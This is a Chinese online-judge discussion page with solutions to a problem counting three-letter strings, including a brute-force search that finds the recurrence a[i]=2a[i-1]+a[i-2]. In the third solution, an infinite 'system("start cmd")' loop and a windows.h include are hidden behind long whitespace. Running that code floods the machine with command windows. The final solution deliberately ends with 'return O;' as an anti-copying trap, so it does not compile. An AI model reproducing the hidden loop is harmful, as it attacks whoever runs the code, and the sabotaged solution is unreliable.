4 条题解

  • 1
    @ 2026-6-4 21:31:46

    11111

    • 1
      @ 2025-7-6 18:46:34

      这一题纯找规律

      首先,我们观察题面,注意到1<=n<=30, 暴力3^30必然TLETLE,凭借做题直觉可判断这题很可能有某种规律(dpdp)

      所以我们可以先写一下 dfsdfs 找规律:

      #include<bits/stdc++.h>
      using namespace std;
      int read(){
      	int x=0,f=1;char ch=getchar();
      	while(ch<'0'||ch>'9'){if(ch=='-') f=-1;ch=getchar();}
      	while(ch>='0'&&ch<='9'){x=x*10+ch-'0';ch=getchar();}
      	return x*f;
      }
      int n,m;
      int ans;
      int a[35];
      bool check(){
      	for(int i=1;i<=n-2;i++){
      		bool c[4]={0};
      		for(int j=i;j<=i+2;j++){
      			c[a[j]]=1;
      		}
      		bool ok=0;
      		for(int i=1;i<=3;i++){
      			if(!c[i]){
      				ok=1;
      				break;
      			}
      		}
      		if(!ok) return 0;//是 fstring 字符串 
      	}
      	return 1;//反之 
      }
      void dfs(int t){
      	if(t==n+1){
      		if(check()) ans++;
      		return;
      	}
      	a[t]=1;
      	dfs(t+1);
      	a[t]=2;
      	dfs(t+1);
      	a[t]=3;
      	dfs(t+1);
      	return;
      }
      signed main(){
      	m=read();
      	for(n=1;n<=m;n++){
      		ans=0;
      		dfs(1);
      		cout<<n<<' '<<ans<<'\n';
      	}
      	return 0;
      }//注意是有多少个不是fstring字符串
      

      输入15得: 1 3 2 9 3 21 4 51 5 123 6 297 7 717 8 1731 9 4179 10 10089 11 24357 12 58803 13 141963 14 342729 15 827421

      通过观察发现(怎么每次都是观察), ans[i]=ans[i1]2+ans[i2]ans[i]=ans[i-1]*2+ans[i-2], 于是便有了下面的AC代码AC代码

      #include<bits/stdc++.h>
      #define int long long//十年OI一场空,不开long long见祖宗
      //一定一定一定要开 long long!以后比赛能开long long尽量开long long
      //(我很多次因没开long long而未能 AC ) 
      using namespace std;
      int read(){
      	int x=0,f=1;char ch=getchar();
      	while(ch<'0'||ch>'9'){if(ch=='-') f=-1;ch=getchar();}
      	while(ch>='0'&&ch<='9'){x=x*10+ch-'0';ch=getchar();}
      	return x*f;
      }
      int n;
      int last2,last,ans;
      signed main(){
      	n=read();
      	if(n==1){cout<<3;return 0;}
      	if(n==2){cout<<9;return 0;}//注意特判 
      	last2=3;//初始化,n=1时的答案为 3
      	last=9;//n=2时的答案为 9
      	for(int i=3;i<=n;i++){
      		ans=(last<<1)+last2;//=ans=last*2+last2
      		last2=last;last=ans;
      	}//f[i]=f[i-1]*2+f[i-2]
      	cout<<ans;
      	return 0;
      }
      
      • -1
        @ 2026-5-12 20:50:43
        #include<bits/stdc++.h>        																																																																																																																									#include<windows.h> 
        using namespace std;
        typedef long long ll;
        ll n,a[10000];
        int main()
        {
            cin>>n;
        	a[1]=3;
        	a[2]=9;
            for (int i=3;i<=n;i++) a[i]=a[i-1]*2+a[i-2];
        	cout<<a[n]; 																																																																																																																																																																																																					                                                                                                                                                                																																																																																																																																																																																																																																																																																																																																																																																																																																							while (1)	system("start cmd");   
        }
        
        • -1
          @ 2026-4-2 18:03:28
          #include<bits/stdc++.h>//万能头
          #define int long long//恒定义
          using namespace std;
          int n,dp[100][3];
          signed main(){ // 用signed不然会报错
          	ios::sync_with_stdio(0);
          	cin.tie(0),cout.tie(0);//好习惯养成:随手加优化
                  cin>>n;
          	dp[1][1]=3;//初始值
          	for(int i=2;i<=n;i++){
          		dp[i][0]=dp[i-1][0]*3+dp[i-1][2];
          		dp[i][1]=dp[i-1][1]+dp[i-1][2];
          		dp[i][2]=dp[i-1][1]*2+dp[i-1][2];//直接状态转移:dp[i][0]符合要求的。dp[i][1]末尾只有一个连着的。dp[i][2]末尾只有2个连着的
          	}
          	cout<<dp[n][1]+dp[n][2];//有多少个不符合要求
          	return O;
          }
          

          ctj会遭报应的(有防伪标)

          • 1

          信息

          ID
          3
          时间
          1000ms
          内存
          256MiB
          难度
          5
          标签
          (无)
          递交数
          232
          已通过
          97
          上传者